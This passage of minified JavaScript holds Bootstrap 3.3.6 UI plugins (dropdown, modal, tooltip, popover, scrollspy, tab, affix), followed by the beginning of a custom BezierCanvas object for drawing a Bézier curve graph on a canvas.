    }, A(document).on("click.bs.collapse.data-api", '[data-toggle="collapse"]', function(i) {
        var r = A(this);
        r.attr("data-target") || i.preventDefault();
        var o = e(r),
            n = o.data("bs.collapse"),
            s = n ? "toggle" : r.data();
        t.call(o, s)
    })
}(jQuery),
function(A) {
    "use strict";

    function e(e) {
        var t = e.attr("data-target");
        t || (t = e.attr("href"), t = t && /#[A-Za-z]/.test(t) && t.replace(/.*(?=#[^\s]*$)/, ""));
        var i = t && A(t);
        return i && i.length ? i : e.parent()
    }

    function t(t) {
        t && 3 === t.which || (A(r).remove(), A(o).each(function() {
            var i = A(this),
                r = e(i),
                o = {
                    relatedTarget: this
                };
            r.hasClass("open") && (t && "click" == t.type && /input|textarea/i.test(t.target.tagName) && A.contains(r[0], t.target) || (r.trigger(t = A.Event("hide.bs.dropdown", o)), t.isDefaultPrevented() || (i.attr("aria-expanded", "false"), r.removeClass("open").trigger(A.Event("hidden.bs.dropdown", o)))))
        }))
    }

    function i(e) {
        return this.each(function() {
            var t = A(this),
                i = t.data("bs.dropdown");
            i || t.data("bs.dropdown", i = new n(this)), "string" == typeof e && i[e].call(t)
        })
    }
    var r = ".dropdown-backdrop",
        o = '[data-toggle="dropdown"]',
        n = function(e) {
            A(e).on("click.bs.dropdown", this.toggle)
        };
    n.VERSION = "3.3.6", n.prototype.toggle = function(i) {
        var r = A(this);
        if (!r.is(".disabled, :disabled")) {
            var o = e(r),
                n = o.hasClass("open");
            if (t(), !n) {
                "ontouchstart" in document.documentElement && !o.closest(".navbar-nav").length && A(document.createElement("div")).addClass("dropdown-backdrop").insertAfter(A(this)).on("click", t);
                var s = {
                    relatedTarget: this
                };
                if (o.trigger(i = A.Event("show.bs.dropdown", s)), i.isDefaultPrevented()) return;
                r.trigger("focus").attr("aria-expanded", "true"), o.toggleClass("open").trigger(A.Event("shown.bs.dropdown", s))
            }
            return !1
        }
    }, n.prototype.keydown = function(t) {
        if (/(38|40|27|32)/.test(t.which) && !/input|textarea/i.test(t.target.tagName)) {
            var i = A(this);
            if (t.preventDefault(), t.stopPropagation(), !i.is(".disabled, :disabled")) {
                var r = e(i),
                    n = r.hasClass("open");
                if (!n && 27 != t.which || n && 27 == t.which) return 27 == t.which && r.find(o).trigger("focus"), i.trigger("click");
                var s = r.find(".dropdown-menu li:not(.disabled):visible a");
                if (s.length) {
                    var a = s.index(t.target);
                    38 == t.which && a > 0 && a--, 40 == t.which && a < s.length - 1 && a++, ~a || (a = 0), s.eq(a).trigger("focus")
                }
            }
        }
    };
    var s = A.fn.dropdown;
    A.fn.dropdown = i, A.fn.dropdown.Constructor = n, A.fn.dropdown.noConflict = function() {
        return A.fn.dropdown = s, this
    }, A(document).on("click.bs.dropdown.data-api", t).on("click.bs.dropdown.data-api", ".dropdown form", function(A) {
        A.stopPropagation()
    }).on("click.bs.dropdown.data-api", o, n.prototype.toggle).on("keydown.bs.dropdown.data-api", o, n.prototype.keydown).on("keydown.bs.dropdown.data-api", ".dropdown-menu", n.prototype.keydown)
}(jQuery),
function(A) {
    "use strict";

    function e(e, i) {
        return this.each(function() {
            var r = A(this),
                o = r.data("bs.modal"),
                n = A.extend({}, t.DEFAULTS, r.data(), "object" == typeof e && e);
            o || r.data("bs.modal", o = new t(this, n)), "string" == typeof e ? o[e](i) : n.show && o.show(i)
        })
    }
    var t = function(e, t) {
        this.options = t, this.$body = A(document.body), this.$element = A(e), this.$dialog = this.$element.find(".modal-dialog"), this.$backdrop = null, this.isShown = null, this.originalBodyPad = null, this.scrollbarWidth = 0, this.ignoreBackdropClick = !1, this.options.remote && this.$element.find(".modal-content").load(this.options.remote, A.proxy(function() {
            this.$element.trigger("loaded.bs.modal")
        }, this))
    };
    t.VERSION = "3.3.6", t.TRANSITION_DURATION = 300, t.BACKDROP_TRANSITION_DURATION = 150, t.DEFAULTS = {
        backdrop: !0,
        keyboard: !0,
        show: !0
    }, t.prototype.toggle = function(A) {
        return this.isShown ? this.hide() : this.show(A)
    }, t.prototype.show = function(e) {
        var i = this,
            r = A.Event("show.bs.modal", {
                relatedTarget: e
            });
        this.$element.trigger(r), this.isShown || r.isDefaultPrevented() || (this.isShown = !0, this.checkScrollbar(), this.setScrollbar(), this.$body.addClass("modal-open"), this.escape(), this.resize(), this.$element.on("click.dismiss.bs.modal", '[data-dismiss="modal"]', A.proxy(this.hide, this)), this.$dialog.on("mousedown.dismiss.bs.modal", function() {
            i.$element.one("mouseup.dismiss.bs.modal", function(e) {
                A(e.target).is(i.$element) && (i.ignoreBackdropClick = !0)
            })
        }), this.backdrop(function() {
            var r = A.support.transition && i.$element.hasClass("fade");
            i.$element.parent().length || i.$element.appendTo(i.$body), i.$element.show().scrollTop(0), i.adjustDialog(), r && i.$element[0].offsetWidth, i.$element.addClass("in"), i.enforceFocus();
            var o = A.Event("shown.bs.modal", {
                relatedTarget: e
            });
            r ? i.$dialog.one("bsTransitionEnd", function() {
                i.$element.trigger("focus").trigger(o)
            }).emulateTransitionEnd(t.TRANSITION_DURATION) : i.$element.trigger("focus").trigger(o)
        }))
    }, t.prototype.hide = function(e) {
        e && e.preventDefault(), e = A.Event("hide.bs.modal"), this.$element.trigger(e), this.isShown && !e.isDefaultPrevented() && (this.isShown = !1, this.escape(), this.resize(), A(document).off("focusin.bs.modal"), this.$element.removeClass("in").off("click.dismiss.bs.modal").off("mouseup.dismiss.bs.modal"), this.$dialog.off("mousedown.dismiss.bs.modal"), A.support.transition && this.$element.hasClass("fade") ? this.$element.one("bsTransitionEnd", A.proxy(this.hideModal, this)).emulateTransitionEnd(t.TRANSITION_DURATION) : this.hideModal())
    }, t.prototype.enforceFocus = function() {
        A(document).off("focusin.bs.modal").on("focusin.bs.modal", A.proxy(function(A) {
            this.$element[0] === A.target || this.$element.has(A.target).length || this.$element.trigger("focus")
        }, this))
    }, t.prototype.escape = function() {
        this.isShown && this.options.keyboard ? this.$element.on("keydown.dismiss.bs.modal", A.proxy(function(A) {
            27 == A.which && this.hide()
        }, this)) : this.isShown || this.$element.off("keydown.dismiss.bs.modal")
    }, t.prototype.resize = function() {
        this.isShown ? A(window).on("resize.bs.modal", A.proxy(this.handleUpdate, this)) : A(window).off("resize.bs.modal")
    }, t.prototype.hideModal = function() {
        var A = this;
        this.$element.hide(), this.backdrop(function() {
            A.$body.removeClass("modal-open"), A.resetAdjustments(), A.resetScrollbar(), A.$element.trigger("hidden.bs.modal")
        })
    }, t.prototype.removeBackdrop = function() {
        this.$backdrop && this.$backdrop.remove(), this.$backdrop = null
    }, t.prototype.backdrop = function(e) {
        var i = this,
            r = this.$element.hasClass("fade") ? "fade" : "";
        if (this.isShown && this.options.backdrop) {
            var o = A.support.transition && r;
            if (this.$backdrop = A(document.createElement("div")).addClass("modal-backdrop " + r).appendTo(this.$body), this.$element.on("click.dismiss.bs.modal", A.proxy(function(A) {
                    return this.ignoreBackdropClick ? void(this.ignoreBackdropClick = !1) : void(A.target === A.currentTarget && ("static" == this.options.backdrop ? this.$element[0].focus() : this.hide()))
                }, this)), o && this.$backdrop[0].offsetWidth, this.$backdrop.addClass("in"), !e) return;
            o ? this.$backdrop.one("bsTransitionEnd", e).emulateTransitionEnd(t.BACKDROP_TRANSITION_DURATION) : e()
        } else if (!this.isShown && this.$backdrop) {
            this.$backdrop.removeClass("in");
            var n = function() {
                i.removeBackdrop(), e && e()
            };
            A.support.transition && this.$element.hasClass("fade") ? this.$backdrop.one("bsTransitionEnd", n).emulateTransitionEnd(t.BACKDROP_TRANSITION_DURATION) : n()
        } else e && e()
    }, t.prototype.handleUpdate = function() {
        this.adjustDialog()
    }, t.prototype.adjustDialog = function() {
        var A = this.$element[0].scrollHeight > document.documentElement.clientHeight;
        this.$element.css({
            paddingLeft: !this.bodyIsOverflowing && A ? this.scrollbarWidth : "",
            paddingRight: this.bodyIsOverflowing && !A ? this.scrollbarWidth : ""
        })
    }, t.prototype.resetAdjustments = function() {
        this.$element.css({
            paddingLeft: "",
            paddingRight: ""
        })
    }, t.prototype.checkScrollbar = function() {
        var A = window.innerWidth;
        if (!A) {
            var e = document.documentElement.getBoundingClientRect();
            A = e.right - Math.abs(e.left)
        }
        this.bodyIsOverflowing = document.body.clientWidth < A, this.scrollbarWidth = this.measureScrollbar()
    }, t.prototype.setScrollbar = function() {
        var A = parseInt(this.$body.css("padding-right") || 0, 10);
        this.originalBodyPad = document.body.style.paddingRight || "", this.bodyIsOverflowing && this.$body.css("padding-right", A + this.scrollbarWidth)
    }, t.prototype.resetScrollbar = function() {
        this.$body.css("padding-right", this.originalBodyPad)
    }, t.prototype.measureScrollbar = function() {
        var A = document.createElement("div");
        A.className = "modal-scrollbar-measure", this.$body.append(A);
        var e = A.offsetWidth - A.clientWidth;
        return this.$body[0].removeChild(A), e
    };
    var i = A.fn.modal;
    A.fn.modal = e, A.fn.modal.Constructor = t, A.fn.modal.noConflict = function() {
        return A.fn.modal = i, this
    }, A(document).on("click.bs.modal.data-api", '[data-toggle="modal"]', function(t) {
        var i = A(this),
            r = i.attr("href"),
            o = A(i.attr("data-target") || r && r.replace(/.*(?=#[^\s]+$)/, "")),
            n = o.data("bs.modal") ? "toggle" : A.extend({
                remote: !/#/.test(r) && r
            }, o.data(), i.data());
        i.is("a") && t.preventDefault(), o.one("show.bs.modal", function(A) {
            A.isDefaultPrevented() || o.one("hidden.bs.modal", function() {
                i.is(":visible") && i.trigger("focus")
            })
        }), e.call(o, n, this)
    })
}(jQuery),
function(A) {
    "use strict";

    function e(e) {
        return this.each(function() {
            var i = A(this),
                r = i.data("bs.tooltip"),
                o = "object" == typeof e && e;
            (r || !/destroy|hide/.test(e)) && (r || i.data("bs.tooltip", r = new t(this, o)), "string" == typeof e && r[e]())
        })
    }
    var t = function(A, e) {
        this.type = null, this.options = null, this.enabled = null, this.timeout = null, this.hoverState = null, this.$element = null, this.inState = null, this.init("tooltip", A, e)
    };
    t.VERSION = "3.3.6", t.TRANSITION_DURATION = 150, t.DEFAULTS = {
        animation: !0,
        placement: "top",
        selector: !1,
        template: '<div class="tooltip" role="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div>',
        trigger: "hover focus",
        title: "",
        delay: 0,
        html: !1,
        container: !1,
        viewport: {
            selector: "body",
            padding: 0
        }
    }, t.prototype.init = function(e, t, i) {
        if (this.enabled = !0, this.type = e, this.$element = A(t), this.options = this.getOptions(i), this.$viewport = this.options.viewport && A(A.isFunction(this.options.viewport) ? this.options.viewport.call(this, this.$element) : this.options.viewport.selector || this.options.viewport), this.inState = {
                click: !1,
                hover: !1,
                focus: !1
            }, this.$element[0] instanceof document.constructor && !this.options.selector) throw new Error("`selector` option must be specified when initializing " + this.type + " on the window.document object!");
        for (var r = this.options.trigger.split(" "), o = r.length; o--;) {
            var n = r[o];
            if ("click" == n) this.$element.on("click." + this.type, this.options.selector, A.proxy(this.toggle, this));
            else if ("manual" != n) {
                var s = "hover" == n ? "mouseenter" : "focusin",
                    a = "hover" == n ? "mouseleave" : "focusout";
                this.$element.on(s + "." + this.type, this.options.selector, A.proxy(this.enter, this)), this.$element.on(a + "." + this.type, this.options.selector, A.proxy(this.leave, this))
            }
        }
        this.options.selector ? this._options = A.extend({}, this.options, {
            trigger: "manual",
            selector: ""
        }) : this.fixTitle()
    }, t.prototype.getDefaults = function() {
        return t.DEFAULTS
    }, t.prototype.getOptions = function(e) {
        return e = A.extend({}, this.getDefaults(), this.$element.data(), e), e.delay && "number" == typeof e.delay && (e.delay = {
            show: e.delay,
            hide: e.delay
        }), e
    }, t.prototype.getDelegateOptions = function() {
        var e = {},
            t = this.getDefaults();
        return this._options && A.each(this._options, function(A, i) {
            t[A] != i && (e[A] = i)
        }), e
    }, t.prototype.enter = function(e) {
        var t = e instanceof this.constructor ? e : A(e.currentTarget).data("bs." + this.type);
        return t || (t = new this.constructor(e.currentTarget, this.getDelegateOptions()), A(e.currentTarget).data("bs." + this.type, t)), e instanceof A.Event && (t.inState["focusin" == e.type ? "focus" : "hover"] = !0), t.tip().hasClass("in") || "in" == t.hoverState ? void(t.hoverState = "in") : (clearTimeout(t.timeout), t.hoverState = "in", t.options.delay && t.options.delay.show ? void(t.timeout = setTimeout(function() {
            "in" == t.hoverState && t.show()
        }, t.options.delay.show)) : t.show())
    }, t.prototype.isInStateTrue = function() {
        for (var A in this.inState)
            if (this.inState[A]) return !0;
        return !1
    }, t.prototype.leave = function(e) {
        var t = e instanceof this.constructor ? e : A(e.currentTarget).data("bs." + this.type);
        return t || (t = new this.constructor(e.currentTarget, this.getDelegateOptions()), A(e.currentTarget).data("bs." + this.type, t)), e instanceof A.Event && (t.inState["focusout" == e.type ? "focus" : "hover"] = !1), t.isInStateTrue() ? void 0 : (clearTimeout(t.timeout), t.hoverState = "out", t.options.delay && t.options.delay.hide ? void(t.timeout = setTimeout(function() {
            "out" == t.hoverState && t.hide()
        }, t.options.delay.hide)) : t.hide())
    }, t.prototype.show = function() {
        var e = A.Event("show.bs." + this.type);
        if (this.hasContent() && this.enabled) {
            this.$element.trigger(e);
            var i = A.contains(this.$element[0].ownerDocument.documentElement, this.$element[0]);
            if (e.isDefaultPrevented() || !i) return;
            var r = this,
                o = this.tip(),
                n = this.getUID(this.type);
            this.setContent(), o.attr("id", n), this.$element.attr("aria-describedby", n), this.options.animation && o.addClass("fade");
            var s = "function" == typeof this.options.placement ? this.options.placement.call(this, o[0], this.$element[0]) : this.options.placement,
                a = /\s?auto?\s?/i,
                I = a.test(s);
            I && (s = s.replace(a, "") || "top"), o.detach().css({
                top: 0,
                left: 0,
                display: "block"
            }).addClass(s).data("bs." + this.type, this), this.options.container ? o.appendTo(this.options.container) : o.insertAfter(this.$element), this.$element.trigger("inserted.bs." + this.type);
            var l = this.getPosition(),
                c = o[0].offsetWidth,
                B = o[0].offsetHeight;
            if (I) {
                var g = s,
                    h = this.getPosition(this.$viewport);
                s = "bottom" == s && l.bottom + B > h.bottom ? "top" : "top" == s && l.top - B < h.top ? "bottom" : "right" == s && l.right + c > h.width ? "left" : "left" == s && l.left - c < h.left ? "right" : s, o.removeClass(g).addClass(s)
            }
            var E = this.getCalculatedOffset(s, l, c, B);
            this.applyPlacement(E, s);
            var u = function() {
                var A = r.hoverState;
                r.$element.trigger("shown.bs." + r.type), r.hoverState = null, "out" == A && r.leave(r)
            };
            A.support.transition && this.$tip.hasClass("fade") ? o.one("bsTransitionEnd", u).emulateTransitionEnd(t.TRANSITION_DURATION) : u()
        }
    }, t.prototype.applyPlacement = function(e, t) {
        var i = this.tip(),
            r = i[0].offsetWidth,
            o = i[0].offsetHeight,
            n = parseInt(i.css("margin-top"), 10),
            s = parseInt(i.css("margin-left"), 10);
        isNaN(n) && (n = 0), isNaN(s) && (s = 0), e.top += n, e.left += s, A.offset.setOffset(i[0], A.extend({
            using: function(A) {
                i.css({
                    top: Math.round(A.top),
                    left: Math.round(A.left)
                })
            }
        }, e), 0), i.addClass("in");
        var a = i[0].offsetWidth,
            I = i[0].offsetHeight;
        "top" == t && I != o && (e.top = e.top + o - I);
        var l = this.getViewportAdjustedDelta(t, e, a, I);
        l.left ? e.left += l.left : e.top += l.top;
        var c = /top|bottom/.test(t),
            B = c ? 2 * l.left - r + a : 2 * l.top - o + I,
            g = c ? "offsetWidth" : "offsetHeight";
        i.offset(e), this.replaceArrow(B, i[0][g], c)
    }, t.prototype.replaceArrow = function(A, e, t) {
        this.arrow().css(t ? "left" : "top", 50 * (1 - A / e) + "%").css(t ? "top" : "left", "")
    }, t.prototype.setContent = function() {
        var A = this.tip(),
            e = this.getTitle();
        A.find(".tooltip-inner")[this.options.html ? "html" : "text"](e), A.removeClass("fade in top bottom left right")
    }, t.prototype.hide = function(e) {
        function i() {
            "in" != r.hoverState && o.detach(), r.$element.removeAttr("aria-describedby").trigger("hidden.bs." + r.type), e && e()
        }
        var r = this,
            o = A(this.$tip),
            n = A.Event("hide.bs." + this.type);
        return this.$element.trigger(n), n.isDefaultPrevented() ? void 0 : (o.removeClass("in"), A.support.transition && o.hasClass("fade") ? o.one("bsTransitionEnd", i).emulateTransitionEnd(t.TRANSITION_DURATION) : i(), this.hoverState = null, this)
    }, t.prototype.fixTitle = function() {
        var A = this.$element;
        (A.attr("title") || "string" != typeof A.attr("data-original-title")) && A.attr("data-original-title", A.attr("title") || "").attr("title", "")
    }, t.prototype.hasContent = function() {
        return this.getTitle()
    }, t.prototype.getPosition = function(e) {
        e = e || this.$element;
        var t = e[0],
            i = "BODY" == t.tagName,
            r = t.getBoundingClientRect();
        null == r.width && (r = A.extend({}, r, {
            width: r.right - r.left,
            height: r.bottom - r.top
        }));
        var o = i ? {
                top: 0,
                left: 0
            } : e.offset(),
            n = {
                scroll: i ? document.documentElement.scrollTop || document.body.scrollTop : e.scrollTop()
            },
            s = i ? {
                width: A(window).width(),
                height: A(window).height()
            } : null;
        return A.extend({}, r, n, s, o)
    }, t.prototype.getCalculatedOffset = function(A, e, t, i) {
        return "bottom" == A ? {
            top: e.top + e.height,
            left: e.left + e.width / 2 - t / 2
        } : "top" == A ? {
            top: e.top - i,
            left: e.left + e.width / 2 - t / 2
        } : "left" == A ? {
            top: e.top + e.height / 2 - i / 2,
            left: e.left - t
        } : {
            top: e.top + e.height / 2 - i / 2,
            left: e.left + e.width
        }
    }, t.prototype.getViewportAdjustedDelta = function(A, e, t, i) {
        var r = {
            top: 0,
            left: 0
        };
        if (!this.$viewport) return r;
        var o = this.options.viewport && this.options.viewport.padding || 0,
            n = this.getPosition(this.$viewport);
        if (/right|left/.test(A)) {
            var s = e.top - o - n.scroll,
                a = e.top + o - n.scroll + i;
            s < n.top ? r.top = n.top - s : a > n.top + n.height && (r.top = n.top + n.height - a)
        } else {
            var I = e.left - o,
                l = e.left + o + t;
            I < n.left ? r.left = n.left - I : l > n.right && (r.left = n.left + n.width - l)
        }
        return r
    }, t.prototype.getTitle = function() {
        var A = this.$element,
            e = this.options;
        return A.attr("data-original-title") || ("function" == typeof e.title ? e.title.call(A[0]) : e.title)
    }, t.prototype.getUID = function(A) {
        do {
            A += ~~(1e6 * Math.random())
        } while (document.getElementById(A));
        return A
    }, t.prototype.tip = function() {
        if (!this.$tip && (this.$tip = A(this.options.template), 1 != this.$tip.length)) throw new Error(this.type + " `template` option must consist of exactly 1 top-level element!");
        return this.$tip
    }, t.prototype.arrow = function() {
        return this.$arrow = this.$arrow || this.tip().find(".tooltip-arrow")
    }, t.prototype.enable = function() {
        this.enabled = !0
    }, t.prototype.disable = function() {
        this.enabled = !1
    }, t.prototype.toggleEnabled = function() {
        this.enabled = !this.enabled
    }, t.prototype.toggle = function(e) {
        var t = this;
        e && ((t = A(e.currentTarget).data("bs." + this.type)) || (t = new this.constructor(e.currentTarget, this.getDelegateOptions()), A(e.currentTarget).data("bs." + this.type, t))), e ? (t.inState.click = !t.inState.click, t.isInStateTrue() ? t.enter(t) : t.leave(t)) : t.tip().hasClass("in") ? t.leave(t) : t.enter(t)
    }, t.prototype.destroy = function() {
        var A = this;
        clearTimeout(this.timeout), this.hide(function() {
            A.$element.off("." + A.type).removeData("bs." + A.type), A.$tip && A.$tip.detach(), A.$tip = null, A.$arrow = null, A.$viewport = null
        })
    };
    var i = A.fn.tooltip;
    A.fn.tooltip = e, A.fn.tooltip.Constructor = t, A.fn.tooltip.noConflict = function() {
        return A.fn.tooltip = i, this
    }
}(jQuery),
function(A) {
    "use strict";

    function e(e) {
        return this.each(function() {
            var i = A(this),
                r = i.data("bs.popover"),
                o = "object" == typeof e && e;
            (r || !/destroy|hide/.test(e)) && (r || i.data("bs.popover", r = new t(this, o)), "string" == typeof e && r[e]())
        })
    }
    var t = function(A, e) {
        this.init("popover", A, e)
    };
    if (!A.fn.tooltip) throw new Error("Popover requires tooltip.js");
    t.VERSION = "3.3.6", t.DEFAULTS = A.extend({}, A.fn.tooltip.Constructor.DEFAULTS, {
        placement: "right",
        trigger: "click",
        content: "",
        template: '<div class="popover" role="tooltip"><div class="arrow"></div><h3 class="popover-title"></h3><div class="popover-content"></div></div>'
    }), t.prototype = A.extend({}, A.fn.tooltip.Constructor.prototype), t.prototype.constructor = t, t.prototype.getDefaults = function() {
        return t.DEFAULTS
    }, t.prototype.setContent = function() {
        var A = this.tip(),
            e = this.getTitle(),
            t = this.getContent();
        A.find(".popover-title")[this.options.html ? "html" : "text"](e), A.find(".popover-content").children().detach().end()[this.options.html ? "string" == typeof t ? "html" : "append" : "text"](t), A.removeClass("fade top bottom left right in"), A.find(".popover-title").html() || A.find(".popover-title").hide()
    }, t.prototype.hasContent = function() {
        return this.getTitle() || this.getContent()
    }, t.prototype.getContent = function() {
        var A = this.$element,
            e = this.options;
        return A.attr("data-content") || ("function" == typeof e.content ? e.content.call(A[0]) : e.content)
    }, t.prototype.arrow = function() {
        return this.$arrow = this.$arrow || this.tip().find(".arrow")
    };
    var i = A.fn.popover;
    A.fn.popover = e, A.fn.popover.Constructor = t, A.fn.popover.noConflict = function() {
        return A.fn.popover = i, this
    }
}(jQuery),
function(A) {
    "use strict";

    function e(t, i) {
        this.$body = A(document.body), this.$scrollElement = A(A(t).is(document.body) ? window : t), this.options = A.extend({}, e.DEFAULTS, i), this.selector = (this.options.target || "") + " .nav li > a", this.offsets = [], this.targets = [], this.activeTarget = null, this.scrollHeight = 0, this.$scrollElement.on("scroll.bs.scrollspy", A.proxy(this.process, this)), this.refresh(), this.process()
    }

    function t(t) {
        return this.each(function() {
            var i = A(this),
                r = i.data("bs.scrollspy"),
                o = "object" == typeof t && t;
            r || i.data("bs.scrollspy", r = new e(this, o)), "string" == typeof t && r[t]()
        })
    }
    e.VERSION = "3.3.6", e.DEFAULTS = {
        offset: 10
    }, e.prototype.getScrollHeight = function() {
        return this.$scrollElement[0].scrollHeight || Math.max(this.$body[0].scrollHeight, document.documentElement.scrollHeight)
    }, e.prototype.refresh = function() {
        var e = this,
            t = "offset",
            i = 0;
        this.offsets = [], this.targets = [], this.scrollHeight = this.getScrollHeight(), A.isWindow(this.$scrollElement[0]) || (t = "position", i = this.$scrollElement.scrollTop()), this.$body.find(this.selector).map(function() {
            var e = A(this),
                r = e.data("target") || e.attr("href"),
                o = /^#./.test(r) && A(r);
            return o && o.length && o.is(":visible") && [
                [o[t]().top + i, r]
            ] || null
        }).sort(function(A, e) {
            return A[0] - e[0]
        }).each(function() {
            e.offsets.push(this[0]), e.targets.push(this[1])
        })
    }, e.prototype.process = function() {
        var A, e = this.$scrollElement.scrollTop() + this.options.offset,
            t = this.getScrollHeight(),
            i = this.options.offset + t - this.$scrollElement.height(),
            r = this.offsets,
            o = this.targets,
            n = this.activeTarget;
        if (this.scrollHeight != t && this.refresh(), e >= i) return n != (A = o[o.length - 1]) && this.activate(A);
        if (n && e < r[0]) return this.activeTarget = null, this.clear();
        for (A = r.length; A--;) n != o[A] && e >= r[A] && (void 0 === r[A + 1] || e < r[A + 1]) && this.activate(o[A])
    }, e.prototype.activate = function(e) {
        this.activeTarget = e, this.clear();
        var t = this.selector + '[data-target="' + e + '"],' + this.selector + '[href="' + e + '"]',
            i = A(t).parents("li").addClass("active");
        i.parent(".dropdown-menu").length && (i = i.closest("li.dropdown").addClass("active")), i.trigger("activate.bs.scrollspy")
    }, e.prototype.clear = function() {
        A(this.selector).parentsUntil(this.options.target, ".active").removeClass("active")
    };
    var i = A.fn.scrollspy;
    A.fn.scrollspy = t, A.fn.scrollspy.Constructor = e, A.fn.scrollspy.noConflict = function() {
        return A.fn.scrollspy = i, this
    }, A(window).on("load.bs.scrollspy.data-api", function() {
        A('[data-spy="scroll"]').each(function() {
            var e = A(this);
            t.call(e, e.data())
        })
    })
}(jQuery),
function(A) {
    "use strict";

    function e(e) {
        return this.each(function() {
            var i = A(this),
                r = i.data("bs.tab");
            r || i.data("bs.tab", r = new t(this)), "string" == typeof e && r[e]()
        })
    }
    var t = function(e) {
        this.element = A(e)
    };
    t.VERSION = "3.3.6", t.TRANSITION_DURATION = 150, t.prototype.show = function() {
        var e = this.element,
            t = e.closest("ul:not(.dropdown-menu)"),
            i = e.data("target");
        if (i || (i = e.attr("href"), i = i && i.replace(/.*(?=#[^\s]*$)/, "")), !e.parent("li").hasClass("active")) {
            var r = t.find(".active:last a"),
                o = A.Event("hide.bs.tab", {
                    relatedTarget: e[0]
                }),
                n = A.Event("show.bs.tab", {
                    relatedTarget: r[0]
                });
            if (r.trigger(o), e.trigger(n), !n.isDefaultPrevented() && !o.isDefaultPrevented()) {
                var s = A(i);
                this.activate(e.closest("li"), t), this.activate(s, s.parent(), function() {
                    r.trigger({
                        type: "hidden.bs.tab",
                        relatedTarget: e[0]
                    }), e.trigger({
                        type: "shown.bs.tab",
                        relatedTarget: r[0]
                    })
                })
            }
        }
    }, t.prototype.activate = function(e, i, r) {
        function o() {
            n.removeClass("active").find("> .dropdown-menu > .active").removeClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded", !1), e.addClass("active").find('[data-toggle="tab"]').attr("aria-expanded", !0), s ? (e[0].offsetWidth, e.addClass("in")) : e.removeClass("fade"), e.parent(".dropdown-menu").length && e.closest("li.dropdown").addClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded", !0), r && r()
        }
        var n = i.find("> .active"),
            s = r && A.support.transition && (n.length && n.hasClass("fade") || !!i.find("> .fade").length);
        n.length && s ? n.one("bsTransitionEnd", o).emulateTransitionEnd(t.TRANSITION_DURATION) : o(), n.removeClass("in")
    };
    var i = A.fn.tab;
    A.fn.tab = e, A.fn.tab.Constructor = t, A.fn.tab.noConflict = function() {
        return A.fn.tab = i, this
    };
    var r = function(t) {
        t.preventDefault(), e.call(A(this), "show")
    };
    A(document).on("click.bs.tab.data-api", '[data-toggle="tab"]', r).on("click.bs.tab.data-api", '[data-toggle="pill"]', r)
}(jQuery),
function(A) {
    "use strict";

    function e(e) {
        return this.each(function() {
            var i = A(this),
                r = i.data("bs.affix"),
                o = "object" == typeof e && e;
            r || i.data("bs.affix", r = new t(this, o)), "string" == typeof e && r[e]()
        })
    }
    var t = function(e, i) {
        this.options = A.extend({}, t.DEFAULTS, i), this.$target = A(this.options.target).on("scroll.bs.affix.data-api", A.proxy(this.checkPosition, this)).on("click.bs.affix.data-api", A.proxy(this.checkPositionWithEventLoop, this)), this.$element = A(e), this.affixed = null, this.unpin = null, this.pinnedOffset = null, this.checkPosition()
    };
    t.VERSION = "3.3.6", t.RESET = "affix affix-top affix-bottom", t.DEFAULTS = {
        offset: 0,
        target: window
    }, t.prototype.getState = function(A, e, t, i) {
        var r = this.$target.scrollTop(),
            o = this.$element.offset(),
            n = this.$target.height();
        if (null != t && "top" == this.affixed) return t > r && "top";
        if ("bottom" == this.affixed) return null != t ? !(r + this.unpin <= o.top) && "bottom" : !(A - i >= r + n) && "bottom";
        var s = null == this.affixed,
            a = s ? r : o.top,
            I = s ? n : e;
        return null != t && t >= r ? "top" : null != i && a + I >= A - i && "bottom"
    }, t.prototype.getPinnedOffset = function() {
        if (this.pinnedOffset) return this.pinnedOffset;
        this.$element.removeClass(t.RESET).addClass("affix");
        var A = this.$target.scrollTop(),
            e = this.$element.offset();
        return this.pinnedOffset = e.top - A
    }, t.prototype.checkPositionWithEventLoop = function() {
        setTimeout(A.proxy(this.checkPosition, this), 1)
    }, t.prototype.checkPosition = function() {
        if (this.$element.is(":visible")) {
            var e = this.$element.height(),
                i = this.options.offset,
                r = i.top,
                o = i.bottom,
                n = Math.max(A(document).height(), A(document.body).height());
            "object" != typeof i && (o = r = i), "function" == typeof r && (r = i.top(this.$element)), "function" == typeof o && (o = i.bottom(this.$element));
            var s = this.getState(n, e, r, o);
            if (this.affixed != s) {
                null != this.unpin && this.$element.css("top", "");
                var a = "affix" + (s ? "-" + s : ""),
                    I = A.Event(a + ".bs.affix");
                if (this.$element.trigger(I), I.isDefaultPrevented()) return;
                this.affixed = s, this.unpin = "bottom" == s ? this.getPinnedOffset() : null, this.$element.removeClass(t.RESET).addClass(a).trigger(a.replace("affix", "affixed") + ".bs.affix")
            }
            "bottom" == s && this.$element.offset({
                top: n - e - o
            })
        }
    };
    var i = A.fn.affix;
    A.fn.affix = e, A.fn.affix.Constructor = t, A.fn.affix.noConflict = function() {
        return A.fn.affix = i, this
    }, A(window).on("load", function() {
        A('[data-spy="affix"]').each(function() {
            var t = A(this),
                i = t.data();
            i.offset = i.offset || {}, null != i.offsetBottom && (i.offset.bottom = i.offsetBottom), null != i.offsetTop && (i.offset.top = i.offsetTop), e.call(t, i)
        })
    })
}(jQuery);
var BezierCanvas = function(A, e, t) {
    this.canvas = A, this.bezier = e, this.padding = this.getPadding(t);
    var i = this.canvas.getContext("2d"),
        r = this.padding;
    this.updateXform(A, i, r)
};
BezierCanvas.prototype = {
    updateXform: function(A, e, t) {
        var i = jQuery(".graph").width(),
            r = i / Globals.basePanelSizes.baseCanvas,
            o = Globals.basePanelSizes.baseCanvas / 2 / i + .5;
        jQuery(A).hasClass("graph") ? jQuery("#graphPanel").hasClass("hiddenLib") || (e.scale(A.width * (1 - t[1] - t[3]), -A.height * r * (1 - t[0] - t[2])), e.translate(t[3] / (1 - t[1] - t[3]), (-1 - t[0] / (1 - t[0] - t[2])) * o)) : (e.scale(A.width * (1 - t[1] - t[3]), -A.height * (1 / 6) * (1 - t[0] - t[2])), e.translate(t[3] / (1 - t[1] - t[3]), 3.5 * (-1 - t[0] / (1 - t[0] - t[2]))))
    },
    coordinatesToOffsets: function() {
        var A = this.padding,
            e = this.canvas.width,
            t = this.bezier.coordinates;
        return Globals.firstRun && (t = Prefs.get("currentCoordinates")), [{
            left: e * (t[0] * (1 - A[3] - A[1]) - A[3]) + "px",
            top: e * (1 - t[1] * (1 - A[0] - A[2]) - A[0]) + "px"
        }, {
